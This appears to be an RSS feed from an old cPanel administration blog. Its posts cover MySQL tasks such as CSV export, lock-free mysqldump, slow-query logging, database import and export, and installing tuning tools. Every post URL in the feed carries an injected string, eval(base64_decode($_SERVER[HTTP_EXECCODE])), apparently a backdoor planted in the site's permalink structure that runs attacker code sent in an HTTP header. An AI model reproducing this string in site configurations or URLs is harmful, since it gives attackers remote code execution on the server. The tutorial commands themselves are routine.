cPanelConfig - cPanel server configuration guide » mysql http://www.cpanelconfig.com The complete guide to setup and manage a cPanel based server Fri, 17 Jul 2009 11:15:39 +0000 http://wordpress.org/?v=2.8 en hourly 1 mysql execute query from console and export to csv http://www.cpanelconfig.com/2008/10/03/mysql-execute-query-from-console-and-export-to-csv/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2008/10/03/mysql-execute-query-from-console-and-export-to-csv/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 03 Oct 2008 11:48:22 +0000 copilas12 http://www.cpanelconfig.com/?p=58 Hello. To dump a query to csv use this:

mysql  –database=database –execute=”select a from b where a>1;” | sed ’s/\t/”,”/g;s/^/”/;s/$/”/;s/\n//g’ > filename.csv

]]> http://www.cpanelconfig.com/2008/10/03/mysql-execute-query-from-console-and-export-to-csv/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 mysqldump without locking tables http://www.cpanelconfig.com/2008/10/03/mysqldump-without-locking-tables/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2008/10/03/mysqldump-without-locking-tables/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 03 Oct 2008 11:35:16 +0000 copilas12 http://www.cpanelconfig.com/?p=53 Hello. I had a trouble some time ago: i wanted to dump a large table (38 million rows, 5G size) without locking the table because the website can’t go down. So, here is the mysqldump command:

mysqldump –skip-add-locks –skip-lock-tables database > database.sql

or for just a table:

mysqldump –skip-add-locks –skip-lock-tables database table > database.table.sql


Hope this help.

]]> http://www.cpanelconfig.com/2008/10/03/mysqldump-without-locking-tables/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 Identifying slow MySQL queries http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 09 Nov 2007 12:14:53 +0000 yolau http://www.cpanelconfig.com/optimize-a-cpanel-server/identifying-slow-mysql-queries/ MySQL can sometimes create big problems on a server when you have users abusing it.
This article will teach you how to correctly identify the queries that are creating a problem for your server.


MySQL can log those queries that are taking longer then X seconds but this future is not turned on by default.
Here’s how you turn it on:

  1. Login to your server as root
  2. Open my.cnf with your favorite editor. Example:

    3. pico /etc/my.cnf

  3. Into the [mysqld] section add the fallowing lines

    4. log-slow-queries = /var/log/mysql-slow.log
    long_query_time = 3

    This is just an example. You can use any file name that you want and you can modify the long_query_time to any value. In this example I will be logging to /var/log/mysql-slow.log any queries that are taking longer then 3 seconds.

  4. Go ahead and save the configuration.

    5. For pico: CTRL+X and YES

  5. Now we have to actually create the log file.

    6. touch /var/log/mysql-slow.log

  6. Now we are changing the owner of the file so that mysql and actually write to it.

    7. chown mysql.root /var/log/mysql-slow.log

  7. Now we restart mysql

    8. service mysql restart

    It should restart successfully. If it doesn’t check that you didn’t brake my.cnf

  8. Wait a few minutes and then examine the slow queries log

    9. A few examples on how to do it:

    cat /var/log/mysql-slow.log
    tail /var/log/mysql-slow.log
    tail -50 /var/log/mysql-slow.log

After you have identified the offending query go ahead and optimize or remove it.
Again test the results by looking at your server load and the mysql slow queries log.

After you fixed all the problems go ahead and comment the slow queries logging as it will slow your server a bit if you let it on. my.cnf should now look similar to this:

#log-slow-queries = /var/log/mysql-slow.log
#long_query_time = 3

And don’t forget to restart MySQL after this.

service mysql restart


Hope this helps !

I suggest you also read:

If you have any problems or suggestions don’t hesitate to leave a comment.

]]> http://www.cpanelconfig.com/2007/11/09/identifying-slow-mysql-queries/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 53 Importing/Exporting a mysql database http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 05 Nov 2007 16:30:44 +0000 yolau http://www.cpanelconfig.com/general-work-on-cpanel-servers/basic-linux-commands-for-linux-based-servers/importingexporting-a-mysql-database/
Although you can do a database import and/or export from phpMyAdmin there is a size limitation (defined in my.cnf max_allowed_packet) when you do an import, so the only solution is to import it from shell.
This article will show you how simple it is to do it.

Importing a mysql database

  1. Login to your server as root or as a user that has access to that database
  2. Type the fallowing command

    3. mysql -uUSERNAME -pPASSWORD database_name < database.sql


Exporting a database

  1. Login to your server as root or as a user that has access to that database
  2. Type the fallowing command

    3. mysqldump -uUSERNAME -pPASSWORD database_name > database.sql

Notes:

USERNAME and PASSWORD is a combination that has access to that database. It can actually be the mysql root user.
database.sql is the file imported or the file to which you do the export.

Hope this helps !

]]> http://www.cpanelconfig.com/2007/11/05/importingexporting-a-mysql-database/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 Install MySQL Performance Tuning Primer Script http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 11 Sep 2007 22:44:22 +0000 yolau http://www.cpanelconfig.com/optimize-a-cpanel-server/install-mysql-performance-tuning-primer-script/
Tuning the performance of MySQL can be a really hard job to do.
There are many thinks to consider and no two servers are identical so there is no universal solution.
Tuning Primer is a script that will help you tune your mysql installation by providing very healthy recommendations based on past mysql records.
For the script to be efficient you must run the mysql server for at least 48 hours.

Installation is extremely simple:

  1. Download the script

    2. wget http://day32.com/MySQL/tuning-primer.sh

  2. Change the permissions for the file

    chmod 755 tuning-primer.sh

  3. Run it

    4. ./tuning-primer.sh

  4. Apply the sugesttions

Enjoy!

]]> http://www.cpanelconfig.com/2007/09/11/install-mysql-performance-tuning-primer-script/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 33 Install mytop – top clone for MySQL http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 08 Sep 2007 20:11:27 +0000 yolau http://www.cpanelconfig.com/uncategorized/install-mytop-top-clone-for-mysql/
What is mytop?
mytop is a console-based (non-gui) tool for monitoring the threads and overall performance of a MySQL 3.22.x, 3.23.x, and 4.x server. It runs on most Unix systems (including Mac OS X) which have Perl, DBI, and Term::ReadKey installed.

You will find more details on the homepage at http://jeremy.zawodny.com/mysql/mytop/

How to install

  1. Download mytop

    2. wget http://jeremy.zawodny.com/mysql/mytop/mytop-1.6.tar.gz

  2. Extract and change directory

    3. tar -zxvf mytop-1.6.tar.gz
    cd mytop-1.6

  3. Install mytop

    4. perl Makefile.PL
    make
    make install

  4. Run mytop

    5. mytop

You can find additional information about mytop configuration at: http://jeremy.zawodny.com/mysql/mytop/mytop.html

]]> http://www.cpanelconfig.com/2007/09/08/install-mytop-top-clone-for-mysql/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 5